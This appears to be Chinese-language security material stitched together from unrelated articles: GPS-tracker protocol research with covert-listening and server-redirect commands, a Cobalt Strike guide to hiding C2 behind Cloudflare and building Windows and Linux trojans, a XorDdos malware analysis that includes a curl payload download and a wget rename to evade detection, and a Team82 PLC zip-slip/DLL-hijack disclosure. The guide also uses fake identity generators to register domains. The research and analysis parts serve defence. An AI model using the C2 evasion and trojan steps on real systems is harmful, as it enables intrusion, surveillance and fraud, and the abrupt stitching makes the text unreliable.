TAC的第一部分由各個子部分組成,但為簡單起見,我們可以說它以與MAC地址前綴幾乎相同的方式分配給供應商。這也意味著所有其他追踪器的數字都是可預測的,你可以輕鬆枚舉它們。結合固定密碼,這意味著我們可以按此IMEI編號順序登錄約25%的設備。

0x02 協議分析好了,暫時將IMEI枚舉放在一邊,讓我們看看設備,移動應用程序和Web應用程序如何與雲平台對話。

從Web應用到雲平台我們已經知道Web應用程序中的所有通信都是通過HTTP進行的,所以讓我們看一下使用某些標準工具從Web應用程序發出的請求是什麼:

figure11.jpg

圖11: Web應用程序AJAX請求(Chrome中的開發人員工具)

通過使用簡單的工具,我們可以看到所有請求都是純文本格式的標準JSON AJAX請求。我們不需要深入分析這部分,因為這些命令與移動應用程序向雲平台發出的命令大致相同。有趣的是,所有JSON請求都再次未加密且以明文形式發送,但更重要的是設備可以發出的命令。除了獲得預期的命令外,例如獲取GPS坐標和位置,還有其他一些其他的功能:

你可以使追踪器撥打任意電話號碼,並且一旦連接,就可以通過追踪器在對方不知情的情況下收聽。

你可以使追踪器代表自己將SMS消息發送到任意號碼。這可以讓你獲取設備的電話號碼並將SMS用作攻擊媒介。

你可以將URL發送到追踪器,追踪器可以從該URL 更新其固件,從而使攻擊者可以在設備上更新新的固件。

從移動應用到雲平台figure12.jpg

圖12:配套應用程序

現在讓我們看一下AIBEILE android應用程序如何與雲平台進行通信。使用Wireshark捕獲流量後,我們立即看到它使用純文本HTTP協議通過非標準端口TCP:8018與雲平台進行通信。

figure13-1024x336.jpg

圖13: Android應用程序在登錄時捕獲了流量

可以看到整個通信仍然未加密,並以純文本形式發送到端點http://(redacted):8018/openapiv3.asmx。這是請求的截圖:

figure14-1024x704.jpg

圖14:登錄數據包的詳細信息

有趣的是,登錄請求使用內置的Key和LoginAPP值,這給我們一個提示,即該框架正在由不同的應用程序使用,因為Key 也被內置在APK 文件中。

LoginType字段在此處通過用戶名和密碼(LoginType=0)或IMEI和密碼(LoginType=1)方法進行區分,此參數控制你使用的憑據類型。

登錄成功後,將以HTTP形式返迴響應,該響應中包含XML字符串,該字符串實際上是JSON。典型的成功響應如下所示:image-20220323100204747

image-20220323100204747.png

圖15:對登錄請求的JSON響應

可以看到很多很明顯的字段,但這裡最重要的字段是key2018,這是Base64編碼的64字節長的會話密鑰,並且deviceID在這兩個密鑰中都需要進行進一步的請求和命令。

這樣的命令之一可能是GetTracking。你可以看到登錄後發出了該命令(圖13),唯一的輸入參數是:

figure16-768x384.jpg

圖16: 請求追踪器的實際位置或最後看到的位置

我們不能完全確定Model 字段發的含義。下面是響應包:

image-20220323101210115 image-20220323101210115.png

圖17: 對GetTracking調用的響應

應用程序和雲平台完全以純文本方式進行通信,沒有加密。

從追踪器到雲端image-20220323101138651.png

現在,讓我們更深入地研究設備如何與雲平台對話,如何通過移動運營商提供商在實際追踪器和服務器之間交換數據。

對在LTE或GPRS移動協議之上使用IP傳輸的協議進行解碼或逆向並不容易。通常沒有簡單的方法來利用流量,因為流量先封裝在GPRS中,然後再從設備傳輸到電信運營商,然後再直接傳輸到雲平台服務器,而沒有明顯的方法來嗅探數據流向雲平台或返回雲平台的方式。

如果要分析此類流量,則基本上有兩種選擇:

建立自己的偽BTS站並運行自己的GSM網絡,以便觀察通過的所有流量。

在設備內部的GPRS調製解調器對數據進行編碼和發送之前檢查數據。

第一種選擇很複雜,要合法地進行,你需要一個法拉第籠,因為在大多數國家/地區,在沒有許可證的情況下運行自己的GSM網絡是非法的。同樣,建造設備並非易事,但是有許多開源解決方案(https://osmocom.org/projects/osmobts),與以太網或WiFi嗅探相比,它並不方便易用。

第二種選擇需要一些硬件技能,並且設備可能會失效。正如我們在一開始就指出的那樣,大多數GPS追踪器內部都將GPRS調製解調器作為一個離散組件,儘管通常很小,但仍有很大的機會利用主CPU和GPRS調製解調器之間的串行線。

在打開GPS追踪器後,確定了一些看上去完全類似於我們所需的連接點的墊。有兩組串行連接墊(TXD/RXD/GND),很明顯,一組用於GPS到CPU的通訊,另一組用於CPU到GPRS調製解調器,因此通過反複試驗,我們確定了正確的一組:

image-20220323101525811.png

圖19:進入追踪器以進行GPRS通信

完成此測試後,我們可以確認所有數據未加密地從GSM網絡傳輸到雲平台服務器。通信是基於文本的協議,最重要的是缺少授權,整個工作僅需通過其IMEI識別追踪器即可。

從SMS 到追踪器最後一點是,你可以使用另一個頻道來控制追踪器,你可以使用簡單的SMS消息進行設置並獲取一些信息。要獲取GPS位置,你可以通過手機向定位器中插入的SIM卡號碼發送短信。為此,你需要知道密碼,但是除非用戶更改了密碼,否則所有設備的默認密碼都是相同的。

figure20-1-740x1024.jpg

圖20:手冊中說明的SMS命令

我們通過進行一些硬件逆向學習了所有這些知識,但是我們真的必須這樣做嗎?事實證明,在研究命令時,你可以通過SMS消息直接向追踪器發出命令,我們發現了這一點:

image-20220323101820167.png

圖21:用於設置追踪器的SMS命令

該命令隱藏在名稱“Setup IP and port”下,意味著你可以設置設備與之通信的雲平台服務器所在的IP地址和TCP端口。這是攻擊者想要的信息;結合用於來回發送數據的不安全協議,你可以輕鬆地進行MITM中間人攻擊,並使用標準IP工具捕獲所有數據。

如下測試:

figure22-768x630.jpg

圖22:通過惡意服務器轉發流量

image-20220323102010230.png

圖23: Wireshark捕獲了位置數據包的流量

可以輕鬆發現IMEI/ID和坐標,已識別命令的格式似乎是文本格式,並且遵循以下格式:

Heartbeatcommandtracker-server

[3G*1703249112*000C*LK,0,1226,85]

Heartbeatresponseserver-tracker:

[3G*1703249112*0002*LK]

Activatemonitormode(callbackthisnumber)server-client:

[3G*1703249112*0015*MONITOR,+420612661749]

SendSMS“Test”toprovidednumber(+420602661749)server-client:

[3G*1703249112*0016*SMS,+420602661749,Test]

Positionandstatus(client-server):

[3G*1703249112*0090*UD,210619,053538,V,37.481010,N,-122.2315369,W,0.00,0.0,0.0,0,86,86,0,15,00000000,4,255,202,1,2082,5673,140,2082,12,128,2082,5671,118,2082,11,115]0x03 查找API在調查各種API時,發現我們正在調查的平台似乎已被許多其他供應商廣泛使用。通過谷歌搜索,我們找到了移動應用程序-雲接口的文檔:

image-20220323102309858.png

圖24:在另一個實例中找到的記錄的部分列表API

遍歷此API提供的每個命令並不是本研究的目的,但是讓我們看一些示例以進一步說明安全性有多糟糕以及這會對普通用戶造成什麼後果。

儘管我們調查的追踪器沒有攝像頭,但其他使用相同雲平台框架的追踪器卻有攝像頭,例如下圖的A19-3G Network GPS Smart Watch,此命令激起了我們的興趣。

工具准备

国外服务器一台

自由鲸(VPN)

CS 4.4

nginx

CS服务端配置

服务器禁ping

1、当服务器禁ping后,从某种角度可以判定为主机为不存活状态。

2、编辑文件/etc/sysctl.conf,在里面增加一行。net.ipv4.icmp_echo_ignore_all=1
之后使命命令sysctl -p使配置生效。

5kyo0nc1qm214462.jpg

3、之后在ping就无法ping通了。这种方式nmap还是可以扫描到服务器的存活的。

fihna4mbz3z14464.png

修改端口

1、编辑teamserver文件,搜索50050,将其改为任意端口即可,这里改成65000

hou3znowguo14467.jpg

2、保存退出,启动teamserver,发现端口已经变化。

zwmlbb3i0of14470.jpg

修改默认证书

1、因为cs服务端生成的证书含有cs的相关特征所有,这里进行修改替换。修改方式有两种,分别为生成密钥库和修改启动文件。无论是那种方式都需要删去原有的文件cobaltstrike.store。

方法一删除密钥库文件cobaltstrike.store(推荐)

1、生成新的密钥库文件

kklxoicc5or14473.jpg

2、查看证书

3、启动服务器查看证书签名是否相同,经查看证书签名是相同的。

xvinbvteqed14478.jpg

方法二修改启动文件

1、teamserver 是启动cs服务端的启动文件。里面有环境检测的部分,其中就包括密钥库的检测,这部分的写法是,如检测不到密钥库就使用命令生成新的密钥库,修改这里生成命令。

2、将teamserver中圈出来的部分需要修改

rjjdzee254o14481.jpg

3、将其修改为如下内容:

xk05bkwta4z14483.jpg

4、删除原有的./cobaltstrike.store密钥库文件,下次启动时会自动生成新的密钥库文件

使用CDN隐藏

申请免费域名

1、进入freenom官网,翻译中文,拉到最下面,选择开发人员

0am4qeq5mdz14486.jpg

2、拉到最下面,点击今天就获得一个随机的域账号

yjxiwyggqrg14487.jpg

3、输入国际邮箱,然后点击验证邮箱,推荐使用临时邮箱

opzdzhvi4k214489.jpg

4、几秒钟后,就会收到邮件,点击邮件点击确认跳转到freenom网站,翻译当前网页中文后,点击开发商

1un1b23xi4214491.jpg

5、将网站拉到最后下面,翻译中文,点击立即获取一个随机域账号

43xso0vbv3514492.jpg

6、然后来到个人信息填写页面

p5enr20yqdf14495.png

7、因为IP选择的地址是弗罗里达州,所以需要借助佛罗里达州个人信息生成器和个人信息生成器,两者需要结合。

ia1t02wblwu14497.jpg1hbboavdkuz14499.jpg

8、信息按照生成器填写即可,填写后,勾选并点击完成订单,到此账号已经注册成功。

i1odccb1an014502.jpg2jhiq35ex4u14504.jpg

9、回到网站首页,选取域名,输入xxx.tk,点击check availability,可用的话点击checkout

itm05qnwt3m14505.jpg

10、选择12个月免费版本,最后点击continue

szsyzd0hkbe14506.jpg

11、最后完成订单

tldrsx25ud314507.jpgai0lv5qgmat14509.jpg

12、选择my domains,看到域名是存活的。


s2xsfa1s34a14511.jpg

xxfrydly3sp14513.jpg

CDN配置

1、cdn部分可以选择其实挺多的,我这里选择的是cloudflare

2、登录cloudflare后,选择添加站点

1034p3mnui314517.jpg

3、选择免费计划

opvsgg2n0ou14520.jpg

4、添加DNS记录,输入要保护的IP和A记录。

4ugj4ewevx514522.jpg

5、修改xxx.tk的dns服务器为cloudflare。修改完成后需要一定的时间生效

ioiluhn2p0a14524.jpgpavvgbfeuot14526.jpgbdfxcoykoxu14528.jpg

6、关闭自动https重写和始终使用https、broti压缩

gkzyur3h13214530.jpg

7、点击finish完成

bxpjprjrd4n14531.jpg

8、出现如下界面就设置生效,可以使用cloudflare进行域名解析操作了

4vxltucunf014533.jpg

9、解析一个www.xxx.tk测试一下

3khniu5iv1114535.jpg

10、使用全球ping,发现已经成功添加CDN

gjxzlmplede14537.jpg

11、配置SSL/TLS加密模式为完全

zy31yh0cp0k14539.jpg

cloudflare生成证书

1、在cloudflare的dash页面找到SSL/TLS->源服务器->创建证书,之后将公钥和私钥保存下来,分别为server.pem和server.key。一定要在生成的时候保存,不然可能找不到私钥了。

jlu2bxsrqcp14540.jpg

2、申请证书并打包密钥库,将证书打包并生成store文件。

epxfv4xslin14543.jpg

3、配置证书到https的监听方式中,要想使用我们自己申请的证书,这里就需要使用‘Malleable C2 profile’的方式来操作。这里以cloudflare.profile为例。将生成的密钥文件.store放到cs目录下,想cloudflare.profile加入证书配置:其中需要注意的是https-certificate为证书相关的配置,其他client.header中Host的值要为我们申请的域名,其他的部分,根据个人情况去配置。

4、验证配置文件是否有问题。如下为验证成功的配置(当前目录需要有cobaltstrike.jar)

jxxaltgppe314548.jpg

5、配置nginx反向代理,按照下面命令执行即可

6、更改teamserver文件,老套路将stroe和密码写进去

vbgx3exwhmj14553.jpg

7、使用配置文件启动服务器

2nhkmleowrc14555.jpg

8、访问网站,发现已经有证书了

3lba4qlo2qj14556.jpg

生成木马配置

1、作了如上的配置,在生成木马时需要做一些不一样的操作。注意:免费版本的cloudflare支持解析少量的端口,具体端口如下

2、创建监听器,注意是https

nxcrpsv2yrz14560.jpg

3、生成exe木马

qcdmt2wuzkb14563.jpg

4、点击运行,成功上线

s0fevr55osi14565.jpg

5、通过抓包发现数据包都被加密

vvosfykdqlw14571.jpg

6、powershell的上线方式与以前有些许不同。需要启动ssl证书

5athu2jwn0v14576.jpg

7、在cmd中执行,powershell成功上线

4rmtl44et1v14578.jpg

Linux上线

Cloudflare CDN配置

1、选择缓存,创建规则

trh3foedfl114583.jpg

2、输入ip.src == xx.xx.xx.xx,该IP是C2服务器真实IP,再选择绕过缓存,最后保存。

10otoyxthok14585.jpg

nginx配置

1、编辑nginx配置文件,在http中添加以下配置

c2profile.c配置

cloudflare.profile配置

启动C2

1、启动C2服务器

2、下载CrossC2-GithubBot-2022-06-07.cna,下载CrossC2Kit_Loader.cna,将其保存在Windows CS客户端文件夹中

hamnfeedbhy14587.jpg

3、在Windows中启动客户端,依次加载CrossC2-GithubBot-2022-06-07.cna和CrossC2Kit_Loader.cna插件,加载后,右上角会出现CrossC2按钮

chai2cw2u4t14591.jpg

4、创建监听器,端口为9090

e2bjjt3t5n014593.jpg

5、公网访问以下内容

创建beacon

1、下载最新版genCrossC2.Linux,并将genCrossC2.Linux和c2profile.c放在C2服务器端

m1zr4jy05bq14596.jpg

2、C2服务器中编译so文件

xtcvhxv2zym14601.jpg

3、生成Linux木马,执行完成后会在当前生成a.out文件

nhsvup0wexl14604.jpg

Linux机器上线

1、将生成的a.out上传到目标机器,赋予权限,然后执行。

2、Linux机器成功上线

txfhjprsgza14608.jpg

命令交互操作

1、选中机器,鼠标右键会话交互,输入Linux命令即可

4h1b3ufdwqt14610.jpg

文件操作

1、选中机器,鼠标右键Expore -> 文件浏览器,即可查看目标机器文件,还可以上传下载文件

zd5jv02qlbp14617.jpg

进程查看

1、选中机器,鼠标右键Expore -> Process List,即可查看目标机器进程

hnz2ybayq2s14627.jpg


原文链接: https://xz.aliyun.com/t/12094

在過去的六個月裡,微軟的研究人員發現一種名為XorDdos的Linux木馬的活動增加了254%。 XorDdos是由MalwareMustDie研究團隊於2014年首次發現的,其名稱來源於其在Linux終端和服務器上的拒絕服務相關活動,以及其在通信中使用基於XOR的加密。

存在於linux的操作系統的XorDdos惡意軟件越來越多,而linux操作系統通常部署在雲基礎設施和物聯網設備上。通過破壞物聯網和其他聯網設備,XorDdos積累了可用於執行分佈式拒絕服務(DDoS)攻擊的殭屍網絡。使用殭屍網絡執行DDoS攻擊可能會造成重大破壞,例如微軟在2021年8月緩解的2.4TbpsDDoS攻擊。由於多種原因,DDoS攻擊本身可能會帶來很大的問題,但此類攻擊也可以用作掩護隱藏進一步的惡意活動,例如部署惡意軟件和滲透目標系統。

殭屍網絡也可以被用來危害其他設備,XorDdos以使用SecureShell(SSH)暴力攻擊來獲得對目標設備的遠程控製而聞名。 SSH是IT基礎設施中最常見的協議之一,它可以在不安全的網絡上進行加密通信以實現遠程系統管理,使其成為攻擊者的首選工具。一旦XorDdos識別出有效的SSH憑證,它就使用根權限運行一個腳本,該腳本將下載XorDdos並將其安裝到目標設備上。

XorDdos使用規避和持久性機制,使其操作保持穩健和隱秘。它的規避能力包括混淆惡意軟件的活動、規避基於規則的檢測機制和基於哈希的惡意文件查找,以及使用反取證技術來破壞基於進程樹的分析。研究人員在最近的活動中觀察到,XorDdos通過用空字節覆蓋敏感文件來隱藏惡意活動以防止分析。它還包括支持不同Linux發行版的各種持久性機制。

1.png

XorDdos惡意軟件的典型攻擊載體

XorDdos還被用來傳遞其他危險的威脅。研究人員發現,最先被XorDdos感染的設備後來又被其他惡意軟件感染,比如Tsunami後門,該後門進一步部署了XMRig挖礦程序。雖然研究人員沒有觀察到XorDdos直接安裝和傳播像Tsunami這樣的二級有效負載,但該木馬有可能被用作後續活動的載體。

MicrosoftDefenderforEndpoint通過檢測和修復木馬在其整個攻擊鏈中的多階段模塊化攻擊以及終端上的任何潛在後續活動來防止XorDdos。在本文中,研究人員將詳細分析XorDdos,以幫助防御者了解其技術並保護他們的網絡免受這種隱秘惡意軟件的攻擊。

初始訪問XorDdos主要通過SSH暴力進行傳播。它使用一個惡意的shell腳本在數千個服務器上嘗試各種根憑據組合,直到在目標Linux設備上找到匹配項。因此,研究人員在成功感染惡意軟件的設備上看到許多失敗的登錄嘗試:

2.png

在受XorDdos影響的設備上嘗試登錄失敗

研究人員的分析確定了XorDdos的兩種初始訪問方法。第一種方法是將惡意ELF文件複製到臨時文件存儲/dev/shm中,然後運行它。 /dev/shm中寫入的文件會在系統重啟時被刪除,從而在取證分析過程中隱藏感染源。

第二種方法涉及運行一個bash腳本,該腳本通過命令行執行以下活動:

1、迭代以下文件夾以找到一個可寫目錄:

/bin

/home

/root

/tmp

/usr

/etc2、如果已找到可寫目錄,則將工作目錄更改為已找到的可寫目錄。

3、使用curl命令從遠程位置下載ELF文件有效負載hxxp://Ipv4PII_777789ffaa5b68638cdaea8ecfa10b24b326ed7d/1[.]txt並將文件保存為ygljglkjgfg0。

4、將文件模式改為“可執行”。

5、運行ELF文件負載。

6、移動和重命名Wget二進製文件,以規避惡意使用Wget二進製文件所觸發的基於規則的檢測。在這種情況下,它將Wget二進製文件重命名為good,並將文件移動到以下位置:

mv/usr/bin/wget/usr/bin/good

mv/bin/wget/bin/good7、嘗試第二次下載ELF文件有效負載,現在只使用filegood而不是Wget二進製文件。

8、運行ELF文件後,使用反取證技術通過用換行符覆蓋以下敏感文件的內容來隱藏其過去的活動:

3.png

初始訪問使用的遠程bash腳本命令

無論使用哪種初始訪問方法,結果都是一樣的:運行惡意ELF文件,即XorDdos惡意軟件。接下來,我們將深入研究XorDdos有效負載。

XorDdos有效負載分析本文研究分析的XorDdos有效負載是一個32位ELF文件,沒有被用過,這意味著它包含調試符號,詳細說明了惡意軟件的每個活動的專用代碼。與丟棄這些符號的被污染過的二進製文件相比,包含調試符號使調試和反向工程非污染二進製文件更容易。在這種情況下,未污染的二進製文件包括以下與符號表條目關聯的源代碼文件名,它們是ELF文件中.strtab部分的一部分:

crtstuff.c

autorun.c

crc32.c

encrypt.c

execpacket.c

buildnet.c

hide.c

http.c

kill.c

main.c

proc.c

socket.c

tcp.c

thread.c

findip.c

dns.c上面的源代碼文件名列表表明二進製文件是用C/c++編程的,並且它的代碼是模塊化的。

反檢測能力XorDdos包含具有逃避檢測的特定功能模塊,詳細信息如下。

守護進程(Daemonprocess)守護進程是一個在後台運行而不是在用戶控制下的進程,它與控制終端分離,僅在系統關閉時終止。與某些Linux惡意軟件系列類似,XorDdos木馬使用守護進程(如下詳述)來破壞基於進程樹的分析。守護進程(Daemon)是一類在後台長期運行的特殊進程,一般在系統引導時開始啟動,一直運行到系統關閉。守護進程一般用於提供某種服務,比如log打印守護進程syslogd,任務規劃守護進程crond,實現Dbus總線功能的dbus守護進程等。

1、惡意軟件調用子程序daemon(__nochdir,__noclose)將自己設置為後台守護進程,該進程在內部調用fork()和setsid()。 fork()API創建一個與調用進程具有相同進程組ID的新子進程。

2、成功調用fork()API後,父進程通過返回“EXIT_SUCCESS(0)”停止。目的是保證子進程不是組進程的leader,這是setsid()API調用成功的前提。然後它調用setsid()將自己與控制終端分離。

3、如果調用第一個參數__nochdir的值等於“0”,則守護程序子例程還具有將目錄更改為根目錄(“/”)的規定。守護進程將目錄更改為根分區(“/”)的原因之一是因為從掛載的文件系統運行進程會阻止卸載,除非進程停止。

4、它將第二個參數__noclose傳遞為“0”,以將標準輸入、標準輸出和標準錯誤重定向到/dev/null。它通過在/dev/null的文件描述符上調用dup2來做到這一點。

5、惡意軟件調用多個信號API以忽略來自控制終端的可能信號,並在終端會話斷開時將當前進程與標準流和掛斷信號(SIGHUP)分離。執行這種規避信號抑制有助於阻止標準庫嘗試寫入標準輸出或標準錯誤或嘗試從標準輸入讀取的影響,這可能會阻止惡意軟件的子進程。 APIsignal()將信號符號的處置設置為處理程序,它是SIG_IGN、SIG_DFL或程序員定義的信號處理程序的地址。在本例中,第二個參數被設置為'SIG_IGN=1',它忽略了與signum對應的信號。

6.png

忽略與終端相關操作相關的信號

基於XOR的加密顧名思義,XorDdos使用基於xor的加密來混淆數據。它調用dec_conf函數來使用XOR秘鑰“BB2FA36AAA9541F0”對編碼字符串進行解碼。下表顯示了在惡意軟件的各個模塊中用於執行其活動的混淆數據的解碼值。

7.png

進程名稱欺騙當一個進程啟動時,參數作為以null結尾的字符串提供給它的main函數,其中第一個參數始終是進程映像路徑。為了欺騙其進程名稱,XorDdos在運行時將所有參數緩衝區清零,並使用虛假命令行(例如catresolv.conf)覆蓋它的第一個包含圖像路徑的參數緩衝區。

8.png

通過修改與參數向量關聯的內存來實現進程名稱欺騙

9.png

'ps-aef'的輸出包含一個'catresolv.conf'條目

內核rootkit一些XorDdos示例安裝內核rootkit。 rootkit是一個內核模塊,通過修改操作系統數據結構來隱藏惡意代碼的存在。 XorDdos內核rootkit通常具有以下功能:

提供根訪問;

隱藏內核模塊;

隱藏惡意軟件的進程;

隱藏惡意軟件的網絡連接和端口;

根據在rootkit中發現的調試符號,XorDdos的rootkit代碼很可能受到了名為rooty的開源項目的啟發。下表描述了rootkit中的符號及其相應的功能:

10.png

進程和端口隱藏該惡意軟件試圖使用其內核rootkit組件隱藏其進程和端口。隱藏進程有助於惡意軟件規避基於規則的檢測。

/proc文件系統包含與所有正在運行的進程相關的信息。用戶模式的進程可以通過讀取/proc目錄來獲取任何與進程相關的信息,該目錄包含系統中每個正在運行的進程的子目錄,例如:

/proc/7728——包含與進程ID(PID)7728相關的信息;

/proc/698——包含PID698相關信息;

運行strace-eopenps命令檢查/proc/$pid上的open調用的踪跡,以獲取ps命令中正在運行的進程的信息。

11.png

如果惡意軟件隱藏了$pid特定目錄,它可以隱藏從用戶模式獲取相應進程。

在本例中,惡意軟件可以通過發送帶有附加信息的輸入和輸出控制(IOCTL)調用來與其rootkit組件/proc/rs_dev進行通信,以採取適當的措施。 IOCTL是用戶模式服務和內核設備驅動程序之間通信的一種方式。該惡意軟件使用數字“0x9748712”從系統中的其他IOCTL調用中唯一識別其IOCTL調用。

除了這個數字,它還傳遞一個整數數組。數組中的第一個條目對應於命令,第二個條目存儲要操作的值,例如$pid。

12.png

內容提要Team82在工程設計工作站XINJE PLC Program Tool中發現了兩個漏洞。

3.5.1版本受到這些漏洞的影響,其他版本也可能受到影響。

Team82於2020年8月開始著手披露工作。一年多後,XINJE終於在2021年9月承認了我們披露的漏洞。

當時XINJE拒絕與Team82合作,並要求我們停止與他們溝通。

在今天披露有限的細節之前,我們將協調披露政策的期限從90天延長到9個月,以幫助資產所有者遴選緩解措施。

攻擊者能夠利用一個精心製作的項目文件來觸發這些漏洞。

可以將任意數量的項目文件寫入一個項目文件以獲得代碼執行。

工程設計工作站是最關鍵的運營技術(OT) 資產之一。工程師使用這些平台在工業控制系統的普渡模型較低級別配置和維護各種控制系統應用程序和設備。如果攻擊者能夠訪問和使用工程工作站,那麼,他們就可以將其作為攻擊媒介來進一步破壞工業流程,進而可能危及公共安全或中斷關鍵服務。

Team82在審查v3.5.1版本的XINJE PLC Program Tool的安全性的時候,發現了兩個安全漏洞,分別為CVE-2021-34605和CVE-2021-34606)。不過,Team82僅對v3.5.版本系列進行了測試,但我們相信,其他版本也可能存在相同的漏洞。

這些漏洞可以通過精心設計的項目文件觸發。攻擊者可以利用這些漏洞將任意數量的項目文件寫入PLC並獲得代碼執行權限。

Team82今天披露了有關這些漏洞的有限信息,在嘗試與公司代表聯繫一年未果後,這些漏洞的詳細信息已經於2021年8月末私下披露,因為供應商既不接受我們分享技術信息,也拒絕了讓我們參與漏洞修復與響應的請求。最後,2021年9月8日,XINJE代表要求Team82停止溝通。 Team82則將其協調披露政策的期限從90天延長至9個月後,決定披露有限的漏洞細節,以幫助資產所有者遴選緩解措施。

關於PLC Program Tool

XINJE的PLC Program Tool是一個工程設計工作站程序,可以在OT環境中與XINJE生產的PLC進行通信。據XINJE稱,這些設備不僅在中國銷售,而且還在歐洲、北美、東南亞和其他地區的一些市場上銷售,涉及能源、製造業和工程等行業。

從安全的角度來看,只要獲得對安裝有工程設計工作站程序的機器的訪問權限,攻擊者就能接管PLC和其他高度敏感的OT設備,並造成不良後果。因此,攻擊者可以利用這些程序中的漏洞作為完全控制OT網絡的最後一步。

1.png

以工程工作站為目標的攻擊者可以感染較低級別的設備,如PLC、傳感器或泵。

惡意項目文件是這類漏洞的重心Team82對與項目文件相關的安全漏洞特別感興趣。

項目文件通常是包含OLE文件、SQLite數據庫、專有格式的二進製文件、文本文件和工程工作站內創建的目錄的歸檔文件格式。這些程序被工程師用來監控、配置可編程邏輯控制器(PLC)和其他控制系統,並與之進行通信。

項目文件中包含的程序邏輯不僅負責管理ICS設備以及監督流程,同時還可能包含網絡配置數據,甚至完整的OT網絡佈局。對於以工業網絡為目標的攻擊活動,尤其是國家級的入侵活動,項目文件的武器化就是這些活動的核心之所在。

當通過工程設計工作站程序打開一個項目文件時,該程序將迅速與相關設備進行通信。另外,OT工程師有時可以通過PLC上傳項目文件,但這需要運行網絡發現工具來確定PLC的網絡地址(不是所有的PLC都支持這個程序),或者手動輸入相關的網絡參數。因此,許多公司會選擇使用項目文件,因為每個文件可以包括一個或多個PLC的配置。

當工程設計工作站程序打開由攻擊者精心構造的項目文件時,可能會觸發漏洞。在這種情況下,攻擊者可以將用於存儲文件的網絡共享中的合法文件替換成一個特製的文件,從而觸發程序中的漏洞。我們在XINJE的PLC Program Tool中就發現了這樣的漏洞:在打開一個精心構造的項目文件時,攻擊者可以在易受攻擊的端點上運行任意代碼。

研究環境設置是關鍵的第一步作為我們工作的一部分,我們經常收到研究專有協議的請求,以便最大限度地提高客戶觀察其網絡流量的能力。有時,我們必須支持仍在生產現場發揮關鍵作用的舊設備,而在其他時候,我們甚至會偶然發現小型OT供應商製造的設備。

有次,我們從一個客戶那裡收到了分析由XINJE製造的設備所使用的協議的請求,這就屬於後者。

我們的第一步是建立一個實驗室設置;這通常需要購買設備,並將其連接到相關的工程設計工作站程序。在某些情況下,即使是購買設備也很困難,因為我們需要的確切型號可能已經斷貨了。

隨著時間的推移,我們發現,竟然可以通過eBay買到各種型號的OT設備。在許多情況下,一旦工廠停止生產某型號的OT設備,舊的二手設備就會出現在eBay上,不僅容易買到,還是包郵到家那種。當然,XINJE提供的設備也不例外,各種型號的XINJE產品基本都可以通過eBay買到。

Ebay上的XINJE工業設備清單:

1.png

一旦購買了PLC,下一步就是把它和其他眾多的OT設備一起安裝到我們的實驗室中,並將其連接到負責配置的工程設計工作站程序上。

1.png

在實驗室環境中運行的XINJE PLC

聯合運用兩個漏洞實現惡意文件的加載一旦我們搭建好了實驗環境,並研究好設備所使用的不同協議,接下來要做的事情,就是按照客戶的要求在其中尋找安全漏洞。

檢查這些安全問題可以幫助用戶立即改善他們的安全狀況。同時,負責任地將這些漏洞報告給供應商,不僅可以幫助修復這些漏洞,還能提高整個OT空間的安全性。

在XINJE的案例中,我們決定把重點放在名為XINJE PLC Program Tool的工程設計工作站程序上。如前所述,在這種情況下,項目文件的漏洞是特別值得關注的。通常情況下,在搜索項目文件的漏洞時,首先要調查工程設計工作站程序所使用的項目文件的具體結構。對於XINJE PLC Program Tool來說,相關文件是*.xdp文件。

1.png

XINJE PLC項目文件是由.xdp類型的文件組成的。

不難發現,這些項目文件都是些壓縮文件,具體如下面的魔法字節PK/x03/x04所示:

1.png

並且,它們幾乎可以被所有的歸檔工具(如7z)提取。更有趣的是,當程序打開一個項目文件時,它會立即將其解壓縮到位於其安裝目錄下的一個臨時目錄中:

1.png

XDPPro.exe將多個文件寫入C:\Program Files\XINJE\XDPPro\tmp目錄中

這種行為表明,該程序認為自己是以管理員權限運行的。這一點,再加上提取的文件是一個zip文件,立即讓人懷疑是否可以利用zip slip漏洞(一個任意的文件覆蓋漏洞)來獲得任意的寫入權限。

很快,我們確實發現了一個zip slip漏洞(CVE-2021-34605),它可以授予攻擊者該程序的所有權限,包括任意寫入特權;在大多數情況下,這些權限都是管理員才具有的權限。

下一個問題是:如何從任意文件寫入實現代碼執行。由於代碼在項目文件加載後立即執行是最合理的選擇,所以,我們可以檢查程序在打開項目文件後,會執行哪些操作:

1.png

XDPPro.exe試圖從C:\Program Files\XINJE\XDPPro加載DNSAPI.dll,但沒有找該動態庫,並返回至C:\Windows\System32目錄

有趣的是,它將通過LoadLibrary從其本地目錄來加載.dll文件。當LoadLibrary沒有找到相應的動態庫時,它會再次回到C:\Windows\System32目錄,並在此搜索庫文件。這裡是我們發現第二個漏洞,即CVE-2021-34606的地方;這是一個典型的DLL劫持漏洞。

為了創建一個行之有效的exploit,我們需要聯合使用這兩個漏洞:

一旦精心構造的惡意項目文件被XINJE PLC Program Tool打開,就會觸發zip slip漏洞,這時,會將一個.dll文件寫入Program Files的program目錄中。之後,在加載新項目的過程中,這個DLL也會一同被加載,而不是加載真正的DLL(它位於Windows\System32)。

一旦攻擊者的DLL被加載,惡意代碼就會在其DLLMain進程或在程序導入的某個函數中執行,這樣,攻擊者就在OT網絡中成功獲得一個立足點。

1.png

Team82的PoC演示效果

小結儘管近年來OT界對網絡安全的認識一直在穩步提高,但許多工程設計工作站程序中仍然存在許多易受攻擊的安全漏洞。

並且,並非所有的供應商都已經意識到,工程文件能夠成為攻擊者手中的武器,成為控制關鍵OT資源的手段;對於大多數OT人員來說,情況也是如此。

此外,許多供應商在協調漏洞的披露的方面,仍然有許多工作要做。因此,披露過程會浪費許多不必要的時間,因為這些信息往往要經過沒有安全知識的銷售和/或技術支持團隊,才能到達負責開發受影響產品的團隊。

對於新捷來說,這是一次具有挑戰性的漏洞披露,幸好這並非大多數OT供應商的常態。

持久性機制XorDdos使用各種持久性機制,在系統啟動時會自動支持不同的Linux發行版,如下所示。

初始化腳本惡意軟件會在/etc/init.d位置放置一個初始化腳本。初始化腳本是用於在系統啟動時運行任何程序的啟動腳本。它們遵循Linux標準基礎(LSB)樣式的標頭部分,包括默認運行級別、描述和依賴項。

13.png

放置在/etc/init.d/HFLgGwYfSC.elf位置的init腳本的內容

Cron腳本惡意軟件在/etc/cron.hour/gcc.sh的位置創建一個cron腳本。該cron腳本傳遞的參數如下:

14.png

gcc.sh腳本內容

然後它會創建一個/etc/crontab文件以每三分鐘運行一次/etc/cron.hourly/gcc.sh:

15.png

從/etc/crontab文件中刪除/etc/cron.hourly/gcc.sh條目並添加新條目的系統命令

16.png

文件“/etc/crontab.conf”的內容

